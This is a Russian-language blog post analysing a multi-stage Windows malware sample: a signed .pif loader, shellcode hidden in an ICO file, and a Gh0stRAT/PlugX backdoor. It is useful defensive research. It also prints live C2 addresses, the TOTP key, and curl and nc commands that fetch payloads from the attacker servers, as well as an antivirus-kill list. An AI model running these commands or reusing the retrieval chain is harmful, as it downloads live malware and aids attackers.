*Статический анализ на Linux без запуска вредоноса: от .pdf файла до полного контроля над системой


Здравствуйте, хабровчане. Это моя первая статья, но можно судить строго и кидаться тапками - критика приветствуется

На днях ко мне попал интересный файл с безобидным на первый взгляд именем - что-то похожее на вложение из мессенджера. Внутри оказался тщательно спроектированный многоступенчатый зловред, анализом которого я хочу поделиться с вами.

В этой статье я разберу всю цепочку шаг за шагом - с реальными командами, выводами и объяснением того, что происходит на каждом уровне. Для понимания материала знание ассемблера или низкоуровневого программирования не требуется: там, где встречаются машинные инструкции, я объясняю их смысл.

Оговорюсь сразу - в статье рассматриввается именно проведение статического анализа. Часть информации, которая получена в процессе, можно было бы получить проще, просто запустив вредонос в контролируемой среде и анализируя поведение, однако я сознательно этого не делаю в обучающих целях.


Что попало в руки

Файл: IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pif
Размер: 408 КБ
SHA-256: d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebca

Первое, что бросается в глаза - само имя файла. Префикс IMAGE_IM_ имитирует вложения из WhatsApp или Telegram: именно так выглядят автоматически сохранённые фото. Длинная строка из цифр и букв - типичный автогенерируемый хеш от мессенджера. Символ & в имени - нечастый гость, но встречается в именах временных файлов. Расширение .pif - вот где начинается обман.

PIF (Program Information File) - это реликт эпохи Windows 3.x, файл конфигурации для запуска DOS-программ. Windows до сих пор обрабатывает его как исполняемый. А еще .pif похоже на .pdf

Сразу сохраняю имя файла в переменную для удобства:

SAMPLE="IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pif"

Что это за зверь

Первая команда при анализе любого неизвестного файла - file. Она смотрит на магические байты в начале файла (сигнатуру), а не на расширение:

file "$SAMPLE"
PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections

Это 32-битный исполняемый файл Windows (PE32 - Portable Executable, 32-bit). Подсистема GUI означает, что при запуске не появится консольное окно - программа работает невидимо для пользователя.

Сразу вычисляю хеш для поиска на VirusTotal:

sha256sum "$SAMPLE"
d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebca

На момент написания статьи VirusTotal не считает этот файл опасным

Раз это исполняемый файл Windows, буду анализировать его соответственно


PE-заголовок исполняемого файла

В заголовке Portable Executable файла указано: когда скомпилирован, для какой архитектуры, какие секции внутри и какие внешние функции нужны. Для чтения этой информации здесь и далее буду использовать Python и библиотеку pefile:

import os, pefile, datetime
sample = os.environ['SAMPLE']
pe = pefile.PE(sample)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Compiled:  {ts}")
print(f"Subsystem: {pe.OPTIONAL_HEADER.Subsystem}")
for s in pe.sections:    name = s.Name.rstrip(b'\x00').decode()    print(f"{name:<10} size={s.SizeOfRawData:>7}  entropy={s.get_entropy():.3f}")
Compiled:  2025-01-23 04:54:22
Subsystem: 2
.text      size=  87552  entropy=6.610
.rdata     size=  21504  entropy=5.073
.data      size=   4096  entropy=2.381
.rsrc      size= 258048  entropy=6.721
.reloc     size=   4608  entropy=6.446

Subsystem = 2 значит что это приложение будет работать без открытия консольного окна.
Энтропия - мера «случайности» данных. Обычный текст имеет низкую энтропию (~3–4), скомпилированный код - среднюю (~6), зашифрованные или сжатые данные - высокую (~7,5–8). Секция .rsrc (ресурсы) размером 253 КБ с энтропией 6,72 - подозрительно много для иконок и манифеста. Запомним.


Метаданные файла

PE-файлы могут хранить метаданные о себе - название продукта, версию, компанию. Читаем:

for fileinfo in pe.FileInfo[0]:    
  if fileinfo.Key == b'StringFileInfo':
    for st in fileinfo.StringTable:
      for k, v in st.entries.items():
        print(f"{k.decode():<30} = {v.decode()}")
CompanyName                    = Beijing Guyundaji Trading Co., Ltd.
FileDescription                = 2FA login verification plugin
InternalName                   = 2FA login.exe
ProductName                    = 2FA verifier
FileVersion                    = 110.0.2541.0

Приложение предсталяется как "плагин двухфакторной аутентификации", также указана компания. Моя попытка нагуглить что-либо по этому имени ничего не дала.


Неожиданная находка

Поищем что-нибудь интересное в strings:

strings -n 6 $SAMPLE

Среди прочего видим

http://crl.certum.pl/cscasha2.crl
http://ocsp.certum.pl
http://timestamp.digicert.com

CRL (Certificate Revocation List) и OCSP - это инфраструктура проверки цифровых сертификатов. Такие URL встречаются только внутри блока Authenticode-подписи PE-файла. Значит, файл подписан - и, судя по домену certum.pl, сертификатом от польского удостоверяющего центра Certum.

Извлекаем подпись и смотрим подробности. В PE-формате она хранится в Security Directory (DATA_DIRECTORY с индексом 4):

# DATA_DIRECTORY[4] - это директория Security (Authenticode подпись)
sec = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
with open(sample, "rb") as f:    f.seek(sec.VirtualAddress)    raw = f.read(sec.Size)
# Первые 8 байт - заголовок WIN_CERTIFICATE, дальше - DER-закодированный PKCS#7
cert_data = raw[8:]
with open("signature.der", "wb") as f:    f.write(cert_data)
openssl pkcs7 -in signature.der -inform DER -print_certs -noout
subject=O = 北京谷云达吉商贸有限公司,        jurisdictionC = CN,        serialNumber = 91110112MAENGGCR13
issuer=CN = Certum Extended Validation Code Signing 2021 CA

Чем отличается EV от обычного сертификата? Обычный сертификат подписи кода получить относительно просто - достаточно email-верификации. EV-сертификат требует физической проверки личности или нотариально заверенных документов компании. Удостоверяющий центр (Certum) проверял реальный китайский бизнес с регистрационным номером 91110112MAENGGCR13.

Для жертвы вредоноса это значит что Windows вешает на этот файл метку «Проверенный издатель», а встроенный антивирус на него не ругается.

То есть автор зловреда либо зарегистрировал фиктивную компанию и ухитрился получить сертификат, либо скомпрометировал реально существующую. Оба варианта говорят об очень серьезной подготовке


Таблица импорта

Каждый исполняемый файл Windows объявляет список функций из системных библиотек, которые он использует. Антивирусы смотрят на этот список в первую очередь. Смотрим и мы:

for lib in pe.DIRECTORY_ENTRY_IMPORT:
  print(f"\n{lib.dll.decode()}:")
  for imp in lib.imports:
    print(f"  {imp.name.decode()}")
KERNEL32.dll:
  LoadLibraryW 
  GetProcAddress
  VirtualProtect 
  IsDebuggerPresent
  CreateFileW
  ...

Только одна библиотека. Подозрительно. Нормальная Windows-программа импортирует десятки функций из десятков библиотек: user32.dll для GUI, ws2_32.dll для сети, advapi32.dll для реестра и т.д. Здесь всего KERNEL32.dll.

LoadLibraryW + GetProcAddress - стандартная пара для динамической загрузки API. Смысл такой: вместо объявления «мне нужна функция WinHttpSendRequest из winhttp.dll» в таблице импорта (где её видит любой антивирус), программа во время работы сама загружает библиотеку и ищет функцию по имени. Имена функций хранятся просто как строки внутри файла.
В выводе strings, сохраненного ранее, видим:

WinHttpOpen
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
ZwAllocateVirtualMemory
ZwProtectVirtualMemory
ZwCreateThreadEx
BCryptOpenAlgorithmProvider
BCryptCreateHash
...

И правда. Сетевые функции (WinHttp*) для загрузки с C2-сервера, криптографические (BCrypt*) для вычисления TOTP, и самое интересное - Zw* функции.

Zw-функции - это низкоуровневые системные вызовы из ntdll.dll - самого нижнего уровня Windows API, прямо над ядром. ZwCreateThreadEx - создать поток, ZwAllocateVirtualMemory - выделить память. Обычные программы используют высокоуровневые обёртки (CreateThread, VirtualAlloc). Вредоносы используют Zw-версии, потому что многие антивирусные продукты перехватывают (hooking) только высокоуровневые функции - низкоуровневые часто остаются незащищёнными.


Поиск C2-сервера

Попытаемся понять, как наш образец действует с точки зрения сети.
Поищем интересное все в том же выводе strings, а также strings с ключом -e l. Второй вариант нужен, поскольку Windows-программы хранят строки типа URL и заголовков в UTF-16LE - два байта на символ. Флаг -e l переключает strings на этот режим:

strings -n 6 "$SAMPLE" 
strings -e l "$SAMPLE" 
SHA1
X-ID:
X-TOTP:
/verify
login.guyundaji.com
...
SHA1
...
KIOVZD2AVAAADDTS
...
%06d
...

Взгляд зацепился за строку KIOVZD2AVAAADDTS - что-то знакомое. Такие строки используются для создания кодов двухфакторной аутентификации. Алфавит BASE32 (буквы A-Z и цифры 2-7)
Рядом SHA1 и формат %06d (шестизначное число).
Что-то связанное с OTP кодами здесь определенно есть.

login.guyundaji.com - явно домен C2-сервера. Заголовок X-TOTP: позволяет предположить, что вычисленный TOTP-код отправляется в HTTP-заголовке.


Взаимодействие с C2

Проверяем, что сервер живой:

nslookup login.guyundaji.com
# Address: 188.114.96.1
# Address: 188.114.97.1

Это IP-адреса Cloudflare - сервер скрыт за CDN, реальный хостинг не виден.

Мы уже знаем маршрут: GET /verify с заголовками X-ID: и X-TOTP:. Вычисляем актуальный TOTP-код из найденного ключа и обращаемся так, как это делал бы сам вредонос:

import hmac, hashlib, struct, time, base64
key = base64.b32decode("KIOVZD2AVAAADDTS")
T   = int(time.time() / 30)
h   = hmac.new(key, struct.pack('>Q', T), hashlib.sha1).digest()
off = h[-1] & 0x0F
otp = (struct.unpack('>I', h[off:off+4])[0] & 0x7FFFFFFF) % 1_000_000
print(f"{otp:06d}")   # например: 471921
curl -s -o c2_response.bin https://login.guyundaji.com/verify \
  -H "X-ID: test-machine-001" \ 
  -H "X-TOTP: 471921"
wc -c c2_response.bin
xxd c2_response.bin | head -2
77904 c2_ico_response.bin
00000000: 0000 0100 0900 1010 0000 0100 2000 9801  ............ ...

Сервер вернул 77 904 байта. Первые байты 00 00 01 00 магическая сигнатура Windows ICO-файла (файла иконок). На первый взгляд просто иконка приложения.

В какой-то момент я решил посмотреть что будет, если обратиться к серверу без TOTP заголовка

curl -s -o c2_ico_response_noauth.bin https://login.guyundaji.com/verify
wc -c c2_ico_response_noauth.bin
diff c2response.bin c2_ico_response_noauth.bin && echo "файлы идентичны"
77904 c2_ico_response_noauth.bin
файлы идентичны

Проверка показала, что сервер отдает точно такой же файл и без заголовка TOTP. Ожидаемым поведением было бы следующее: сервер отдает payload при правильном заголовке, а при неправильном или его отсутствии - ведет себя как обычный web сервер.
Возможно, данный функционал еще просто не реализовали на серверной стороне.

Переименуем payload чтобы не путаться

mv c2_response.bin c2_ico_response.bin

Вычисляем хеш и снова идем на VirusTotal:

sha256sum c2_ico_response.bin
113dbd6d002b1512862556cf884ae97f02a8ebc860d9f63f7fe71b65e2c019db

И снова по нулям - VirusTotal не считает файл опасным. Штош....

Разбор ICO-контейнера - где спрятан шеллкод

ICO-файл - это контейнер с несколькими изображениями разных размеров (16×16, 32×32, 48×48 и т.д.). Каждое изображение хранится в отдельном «слоте». Разбираем структуру:

import struct

with open("c2_ico_response.bin", "rb") as f:
    data = f.read()

# ICO-заголовок: 6 байт
# reserved(2) + type=1(2) + count(2)
reserved, ico_type, count = struct.unpack_from('<HHH', data, 0)
print(f"ICO: {count} слотов")

# Каждый слот описывается 16-байтной записью
for i in range(count):
    entry_off = 6 + i * 16
    w, h, colors, _, planes, bpp, size, offset = struct.unpack_from('<BBBBHHIi', data, entry_off)
    slot_data = data[offset:offset+16]
    ascii_repr = ''.join(chr(b) if 0x20 <= b < 0x7f else '.' for b in slot_data[:12])
    print(f"Слот {i} ({w}x{h})  size={size:>6}  first_12_bytes={ascii_repr!r}")
ICO: 9 слотов
Слот 0 (16x16)   size=   508  first_12_bytes='.PNG....IHDR'
Слот 1 (24x24)   size=   984  first_12_bytes='.PNG....IHDR'
Слот 2 (32x32)   size=  1728  first_12_bytes='.PNG....IHDR'
Слот 3 (48x48)   size=  4636  first_12_bytes='.PNG....IHDR'
Слот 4 (64x64)   size=  9771  first_12_bytes='.PNG....IHDR'
Слот 5 (72x72)   size=  9547  first_12_bytes='ICO_OUTh....'  <-- !!
Слот 6 (80x80)   size= 11484  first_12_bytes='............'
Слот 7 (96x96)   size= 15557  first_12_bytes='............'
Слот 8 (128x128) size= 23539  first_12_bytes='............'

Слоты 0-4 начинаются с \x89PNG - реальные PNG-иконки
Слот 5 начинается с текста ICO_OUT - похоже что отсюда начинается сам payload.


Извлечение и расшифровка шеллкода

Находим в загрузчике код, который ищет слот ICO_OUT. Для этого:

  1. Находим файловое смещение строки ICO_OUT

  2. Переводим в виртуальный адрес (VA) через карту секций

  3. Ищем в дизассемблере инструкцию, которая ссылается на этот адрес

  4. Читаем окружающий код

# Шаги 1 и 2: смещение → VA
raw = open(sample, 'rb').read()
fo = raw.find(b'ICO_OUT')
print(f'File offset: 0x{fo:x}')
for s in pe.sections:
    if s.PointerToRawData <= fo < s.PointerToRawData + s.SizeOfRawData:
        va = pe.OPTIONAL_HEADER.ImageBase + s.VirtualAddress + (fo - s.PointerToRawData)
        print(f'VA: 0x{va:08x}')
File offset: 0x1bc28
VA: 0x0041d028
# Шаг 3: найти инструкцию, ссылающуюся на 0x41d028
objdump -d -M intel "$SAMPLE" | grep "41d028"
4018d3:  ba 28 d0 41 00    mov  edx,0x41d028
# Шаг 4: дизассемблировать вокруг (упрощённый вывод)
objdump -d -M intel --start-address=0x401970 --stop-address=0x401990 "$SAMPLE"
401970:  8a 0c 07         mov  cl, byte [eax+edi]     ; загрузить байт из слота ICO_OUT
401973:  fe c9            dec  cl                     ; вычесть 1  <-- ключ расшифровки
401975:  88 0c 02         mov  byte [edx+eax], cl     ; сохранить расшифрованный байт
401978:  40               inc  eax
401979:  3b c3            cmp  eax, ebx
40197b:  72 f4            jb   401970                 ; повторить

Расшифровка - «вычесть 1». Каждый байт полезной нагрузки уменьшается на 1. Ключ шифрования = 1. Это намеренно примитивно: усложнение не нужно, если полезная нагрузка в любом случае не хранится в файле.

Извлекаем и расшифровываем:

import struct
with open("icon_5_72x72.bin", "rb") as f:    slot = f.read()
# Структура слота ICO_OUT:
# [0:7]   = "ICO_OUT"  (маркер)
# [7:11]  = uint32 little-endian  (размер полезной нагрузки)
# [11:]   = зашифрованные данные
payload_size = struct.unpack_from('<I', slot, 7)[0]
print(f"Размер: {payload_size} байт")     # 1902
encrypted = slot[11:11+payload_size]
decrypted = bytes((b - 1) & 0xFF for b in encrypted)
print(f"Первые байты: {decrypted[:6].hex()}")  # 55 8b ec 83 e4 f8
with open("stage2_shellcode.bin", "wb") as f:    f.write(decrypted)
Размер: 1902 байт
Первые байты: 558bec83e4f8

55 8b ec в x86-ассемблере означает push ebp; mov ebp, esp - это стандартный пролог функции, первые три байта практически любой компилированной C-функции.
Раз мы получили реальный код, мы на верном пути


Анализ шеллкода второго этапа

Итак, у нас есть 1902 байта сырого машинного кода. Дизассемблер превращает байты обратно в условно читаемые инструкции - для этого использую ndisasm, он умеет работать с сырым бинарником без PE-обёртки:

ndisasm -b 32 stage2_shellcode.bin | tee disasmed_stage2

Вывод длинный, поэтому сначала делаю быстрый strings - посмотреть, нет ли чего-то читаемого прямо так, без дизассемблирования:

strings stage2_shellcode.bin
godinfoWPMZZMVWMQPWcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
bccbccc
PQ? 6
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc

Строка godinfo - явно не случайная. Гуглю, нахожу публичный репозиторий с таким же названием, но он мало помогает разобраться в поведении конкретного образца. Продолжаю анализ того, что имею на руках.

После godinfo идёт WPMZZMVWMQPW - тоже читаемые символы, но смысла не несут. А дальше - сотни одинаковых символов c. Это очень характерный паттерн.

c в ASCII - это 0x63. Длинная цепочка одинаковых байт означает, что в исходных данных на этих позициях стоят нули: 0x00 XOR ключ = ключ. Если ключ - 0x63, то нулевые байты после XOR превращаются в 'c'. Это заполненные нулями поля структуры - буфер фиксированного размера, большая часть которого пустая.

Значит, данные зашифрованы XOR с ключом 0x63. Иду в дизассемблирование проверять:

 cat disasmed_stage2| grep -i -A 50 xor

Находим следющее (вывод сокращен)

0000009C  80343063    xor byte [eax+esi], 0x63   ; XOR каждого байта с 0x63
000000A0  40          inc eax
000000A1  3D8C030000  cmp eax, 0x38C             ; 908 итераций
000000A6  72F4        jc  0x9C                   ; повторить

Точно - XOR с 0x63. Расшифровываю блок и смотрю что внутри - просто выводим печатаемые строки:

import struct

with open("stage2_shellcode.bin", "rb") as f:
    sc = f.read()

idx = sc.find(b"godinfo")
config_raw = sc[idx : idx+908]
config = bytes(b ^ 0x63 for b in config_raw)

for chunk in config.split(b'\x00'):
    printable = ''.join(chr(b) for b in chunk if 0x20 <= b < 0x7f)
    if len(printable) >= 4:
        print(repr(printable))
'\x04\x0c\x07\n\r\x05\x0c'
'43.99.54.234'
'c:\\Windows\\System32\\CUrL.exe'

Это именно то что мы искали - куда ходит зловред по сети и чем он для этого пользуется.
Первая строка - мусор, это сам godinfo после XOR (он хранится в открытом виде, XOR его портит). Остальное читаемо: IP-адрес и путь к curl в Windows.

CUrL.exe написан в смешанном регистре - для обход сигнатур, ищущих строку curl.exe в нижнем регистре.

Порт в виде строки не выводится - он хранится как двухбайтовое число. Смотрю на сырые байты в районе после IP:

print(config[0x130:0x140].hex())
0000bb01000000000000000000000000

bb 01 в little-endian - 0x01BB = 443. Порт найден.

Второй C2-сервер - голый IP, не домен. Он захардкожен в самом бинарнике. Порт 443 выбран намеренно: на большинстве файерволов он открыт для HTTPS, raw TCP туда пройдёт незамеченным.

Пока разбирал шеллкод, решил загуглить этот IP - и нашёл на Hybrid Analysis другой образец, который коннектится к тому же адресу. Там есть любопытная формулировка в поведенческом анализе: «отправляет трафик на типичный порт HTTPS без заголовка HTTP». Это независимое подтверждение того, что на 443 висит именно raw TCP, а не настоящий TLS.

Итак, есть IP и порт. Пробую подключиться напрямую:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("43.99.54.234", 443))
print(s.recv(16))

Таймаут. Сервер принял соединение, но ничего не отправляет. Возможно, клиент должен отправить какие-то данные? Какие?

Поиск ключа к серверу

После очень долгого и безуспешного копания в дизассемблированном шеллкоде, я догадался взглянуть непосредственно на hex dump, ведь сам файл не такой уж большой (около 2Kb)

xxd stage2_shellcode.bin

Помимо уже виденной нами ранее строки godinfo во второй половине файла, среди мусора из первой части мы видим вот такой кусок, в самом начале:

00000000: 558b ec83 e4f8 81ec ec01 0000 5356 578d  U...........SVW.
00000010: 4c24 18c7 4424 0c47 4554 4766 c744 2410  L$..D$.GETGf.D$.
00000020: 4f44 c644 2412 00e8 9f02 0000 85c0 0f84  OD.D$...........

Взгляд зацепился за "GET" и я снова пошел в дизассемблер. Вот эти две инструкции в начале - то что нас интересует

00000013  C744240C47455447  mov dword [esp+0xc],0x47544547
0000001B  66C74424104F44    mov word [esp+0x10],0x444f
00000022  C644241200        mov byte [esp+0x12],0x0

Расшифруем из HEX эти две строки:

echo "0x47544547" | xxd -r -p
echo "0x444f" | xxd -r -p

Третья строка - 0x0 - нулевой байт, часто используется как символ конца строки.
Получаем GTEG% и DO% . В архитектуре x86-64 используется способ записи чисел little-endian, где всё байты записываются задом наперёд. Так что первая строка - это GETG, а вторая - OD. Вместе - GETGOD. И хорошо сочетается с godinfo, который мы видели ранее. Это и есть наш ключ?

Отправился гуглить и вышел на вот этот интересный материал, где описывается механизм получения payload, аналогичный нашему. Далее цитата оттуда:

The shellcode connects to the C2 server and transmits the string “GETGOD.” The C2 server responds with data representing the next (second) stage of the shellcode.


Также в статье говорится о финальной нагрузке, под названием GhostRAT - достаточно серьезный продукт, который много где засветился.

Отправляюсь пробовать получить "подарок"


Загрузка финальной нагрузки

Подключаемся через nc, а не curl, поскольку мы уже знаем что на самом деле это не http, а raw TCP.
Первая попытка сделать так

echo 'GETGOD' | nc -w 3 43.99.54.234 443 > stage3_payload.bin

не увенчалась успехом - сервер ничего не отправлял.

Было потрачено несколько часов прежде чем перечитал предыдущий раздел своей же статьи и обнаружил что в конце строки должен быть нулевой байт.
И это сработало:

 echo 'GETGOD\x00' | nc -w 3 43.99.54.234 443 > stage3_payload.bin

Сервер передал 318 356 байт. Снова 55 8b ec в начале - значит, это не PE-файл (который начинался бы с MZ), а ещё один шелл��од-контейнер.


Анализ структуры stage3 payload

Не оставляем надежды на VirusTotal:

sha256sum stage3_payload.bin
2ce188196c078cc35ec6e8947821be57f5c061d4c06cf4bd4d329eac590576c8

Снова по нулям.

Значит изучаем то что мы получили самостоятельно

Файл начинается с байт 55 8b ec - это не MZ. Первым делом ищу сигнатуру PE-файла внутри:

for i in range(0, min(len(data), 65536), 2):
    if data[i:i+2] == b'MZ':
        print(f"MZ найден по смещению 0x{i:x}")
MZ найден по смещению 0x2804

Значит, всё что до 0x2804 - не PE. Это какой-то код, предшествующий основному приложению. Чтобы понять что внутри PE, смотрю энтропию блоками - не по всему файлу, а именно начиная с найденного смещения:

from math import log2

def entropy(block):
    freq = {}
    for b in block: freq[b] = freq.get(b, 0) + 1
    return -sum((c/len(block)) * log2(c/len(block)) for c in freq.values())

for i in range(0x2804, 0x2804 + 0xa000, 0x1000):
    e = entropy(data[i:i+0x1000])
    bar = '#' * int(e * 4)
    print(f"0x{i:05x}: {e:.2f}  {bar}")
0x02804: 3.22  ############
0x03804: 7.86  ###############################
0x04804: 7.86  ###############################
0x05804: 7.86  ###############################
0x06804: 7.86  ###############################
0x07804: 7.86  ###############################
0x08804: 7.86  ###############################
0x09804: 7.86  ###############################
0x0a804: 0.00

Первый блок PE-файла - энтропия 3.22, очень низкая. Это заголовок: он состоит из фиксированных полей, нулевых выравниваний и магических констант - данные предсказуемые. Следующие 7 блоков - энтропия ~7.86, практически максимум. Такое бывает у зашифрованных данных или у сжатых. Последний блок - нули.

Складывается следующая картина:

0x0000–0x2803 - шеллкод. Энтропия ~6: это машинный код, он разнообразен, но не настолько случаен, как сжатые данные.

0x2804–0xa003 - PE-файл. Заголовок с низкой энтропией, тело с максимальной - признак упаковки.

0xa004–конец - нули. Это виртуальная память, которая потребуется после распаковки PE. Упакованный файл несёт её с собой, чтобы при загрузке в память сразу иметь нужное пространство.
Пока предположение такое:

Смещение

Содержимое

0x0000–0x2803

Шеллкод-загрузчик

0x2804–0xa003

PE-файл, упакованный UPX

0xa004–конец

Нули (память под распакованный PE)

Зачем шеллкод перед PE? Самое вероятное - это рефлективный загрузчик - код, который самостоятельно разворачивает встроенный PE-файл в памяти, не вызывая стандартный LoadLibrary. Обычный LoadLibrary регистрирует DLL в списке модулей процесса - любой антивирус это заметит. Рефлективный загрузчик разбирает PE-заголовки вручную, применяет перемещения, разрешает импорты - бэкдор оказывается в памяти невидимым для стандартных средств мониторинга.

Теперь, когда мы понимаем структуру полученного файла, можем попытаться вытащить из него само PE приложение


Распаковка payload:

Извлекаем PE-файл:

import pefile, datetime
with open("stage3_payload.bin", "rb") as f:    data = f.read()
# Вырезаем PE начиная с найденного смещения и сохраняем отдельно
pe_data = data[0x2804:]
with open("stage3_extracted_pe.bin", "wb") as f:    f.write(pe_data)
pe = pefile.PE(data=pe_data)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Скомпилирован: {ts}")
for s in pe.sections:    print(s.Name.rstrip(b'\x00').decode())
Скомпилирован: 2022-12-01 02:05:39 UTC
UPX0
UPX1
UPX2

Имена секций UPX0 / UPX1 / UPX2 говорят об упаковке UPX (Ultimate Packer for eXecutables) - именно он давал энтропию ~7.86 в предыдущем шаге. UPX - легитимный компрессор исполняемых файлов, существует с 1990-х. Упакованный файл при запуске сам себя распаковывает в память и передаёт управление распакованному коду. В мире легального ПО UPX почти не используется - современные программы не страдают от размера. Зато в малвари популярен: распакованный бэкдор никогда не появляется на диске, только в памяти, а дисковые сигнатуры антивируса не срабатывают.
Также видим, что в отличие от предыдущих файлов, с которыми мы имели дело, этот скомпилирован в 2022 года, достаточно давно

Распаковываем:

upx -d stage3_extracted_pe.bin -o stage3_unpacked.exe

Из 30 КБ получили 48 КБ - распакованный зловред.
Снова считаем hash и идем на VirusTotal, не теряем надежды

5896eefa211a0ac0a69ddd7e4be3c2bcda71202d469be735a47eac824e7bf112

На этот раз файл ему знаком

Скриншот с VirusTotal
Скриншот с VirusTotal

Но для полноты картины давайте опознаем его самостоятельно


Идентификация крысы

Запускаем strings без фильтров и смотрим что выплывает:

strings stage3_unpacked.exe | less

Замечаем там:

cmd.exe -Puppet

cmd.exe -Puppet - нестандартный аргумент командной строки, явно не системный. Поиск по этой строке немедленно даёт результат: это характерная строка Gh0stRAT - одного из старейших китайских бэкдоров, исходники которого утекли в открытый доступ ещё в 2008 году и с тех пор активно переиспользуются.

Внимательный читатель заметил, что это название уже упоминалось выше, когда мы вычисляли фразу GETGOD.
Собственно, наш зловред - тот же самый, что описывается в статье, за исключением первого этапа.

В strings также находим следующее:

-Puppet
cmd.exe -Puppet
PluginMe
\config.ini
ONLINE.dll
TSAPI32.dll

Всё остальное элементарно достается из гугла

Маркеры Gh0stRAT

cmd.exe -Puppet - «puppet shell» это главная функция Gh0stRAT. Бэкдор запускает cmd.exe со специальным аргументом, перехватывает его стандартный ввод и вывод, и транслирует их на C2-сервер в реальном времени. Злоумышленник буквально получает интерактивную командную строку на машине жертвы.

Маркеры PlugX

PluginMe - это имя экспортируемой функции, которую обязана иметь каждая DLL-плагин PlugX. PlugX - модульный фреймворк: основной бэкдор загружает дополнительные компоненты (плагины) по команде от оператора.

\config.ini + импорт GetPrivateProfileStringA - PlugX хранит адреса C2-серверов, ключи шифрования и настройки в INI-файле на диске.

ONLINE.dll / TSAPI32.dll - имена DLL-плагинов. PlugX использует технику DLL side-loading: называет свои библиотеки похоже на легитимные системные (tsapi32.dll напоминает rasapi32.dll), чтобы Windows загрузила их вместо настоящих.

Продолжая листать strings, замечаю длинный список .exe-файлов. Фильтрую:

strings stage3_unpacked.exe | grep -i "\.exe$" | sort -u
360sd.exe
360tray.exe
BaiduSdSvc.exe
HipsTray.exe
K7TSecurity.exe
KvMonXP.exe
Mcshield.exe
Miner.exe
QQPCRTP.exe
RavMonD.exe
TMBMSRV.exe
V3Svc.exe
ashDisp.exe
avcenter.exe
avp.exe
egui.exe
ksafe.exe
kxetray.exe
mssecess.exe
patray.exe
rtvscan.exe

Это список антивирусных процессов для завершения - стандартная практика для RAT. Все - достаточно знакомые. И отдельно - Miner.exe: злоумышленник убивает не только антивирусы, но и криптомайнеры - освобождает ресурсы или устраняет конкурирующее заражение.

Таблица импортов

Смотрим таблицу импортов - тем же способом, что и для Stage 1:

pe2 = pefile.PE("stage3_unpacked.exe")
for lib in pe2.DIRECTORY_ENTRY_IMPORT:
    print(f"\n{lib.dll.decode()}:")
    for imp in lib.imports:
        if imp.name:
            print(f"  {imp.name.decode()}")
KERNEL32.dll:  CreateRemoteThread  WriteProcessMemory  VirtualAllocEx  CreateToolhelp32Snapshot  Process32First  ...
WININET.dll:  InternetOpenUrlA  InternetReadFile  ...
USER32.dll:  OpenInputDesktop  SetThreadDesktop  ...
ADVAPI32.dll:  RegOpenKeyExA  RegQueryValueExA  ...

Импортированная функция

Что означает

CreateRemoteThread + WriteProcessMemory + VirtualAllocEx

Внедрение кода в чужой процесс

InternetOpenUrlA + InternetReadFile

Загрузка плагинов по HTTP

OpenInputDesktop + SetThreadDesktop

Доступ к рабочему столу (аналог VNC)

CreateToolhelp32Snapshot + Process32First

Перечисление всех процессов

RegOpenKeyExA + RegQueryValueExA

Работа с реестром (закрепление)

GetPrivateProfileStringA

Чтение config.ini с настройками C2

На этом можно закончить статический анализ, картина сложилась. Осталось кратко описать всю схему в одном месте для ленивых читателей


Полная картина атаки

Жертва запускает IMAGE_IM_...&.pif
│
│  Stage 1: Загрузчик (EV-подписанный)
│  ├─ IsDebuggerPresent (антиотладка)
│  ├─ Загружает winhttp.dll, bcrypt.dll динамически
│  ├─ Вычисляет TOTP (SHA1, ключ KIOVZD2AVAAADDTS)
│  └─ GET https://login.guyundaji.com/verify
│     Headers: X-ID: <machine_id>, X-TOTP: <6 digits>
│
▼  Ответ: ICO-файл (77 904 байта, скрыт за Cloudflare)
│  Слот 5 (ICO_OUT) → шеллкод Stage 2 (byte−1 расшифровка)
│
│  Stage 2: Шеллкод (1 902 байта, x86 PIC)
│  ├─ Обход PEB → находит kernel32.dll, ws2_32.dll
│  ├─ XOR 0x63 → IP=43.99.54.234, port=443
│  ├─ VirtualAlloc(317 332 байта, RWX)
│  ├─ connect(43.99.54.234:443)
│  └─ send("GETGOD\0") → recv(318 356 байт)
│
▼  Stage 3: Рефлективный загрузчик + UPX-бэкдор
│  ├─ Распаковывает UPX PE в память (без LoadLibrary)
│  └─ PlugX/Gh0stRAT (скомпилирован 2022-12-01)
│     ├─ cmd.exe -Puppet (удалённая оболочка)
│     ├─ VNC-подобный доступ к рабочему столу
│     ├─ Инъекция в процессы
│     ├─ Завершение 25+ антивирусов
│     └─ InternetOpenUrlA → загрузка дополнительных плагинов по HTTP

Выводы

Общая схема работы зловреда
Общая схема работы зловреда


Финальная нагрузка - PlugX/Gh0stRAT - даёт атакующему полный контроль над машиной жертвы: интерактивная оболочка, доступ к рабочему столу, внедрение в процессы, отключение антивирусов, почти полное отсутствие артефактов на диске. Весьма опасный инструмент. Но при этом - не уникальный и не новый.

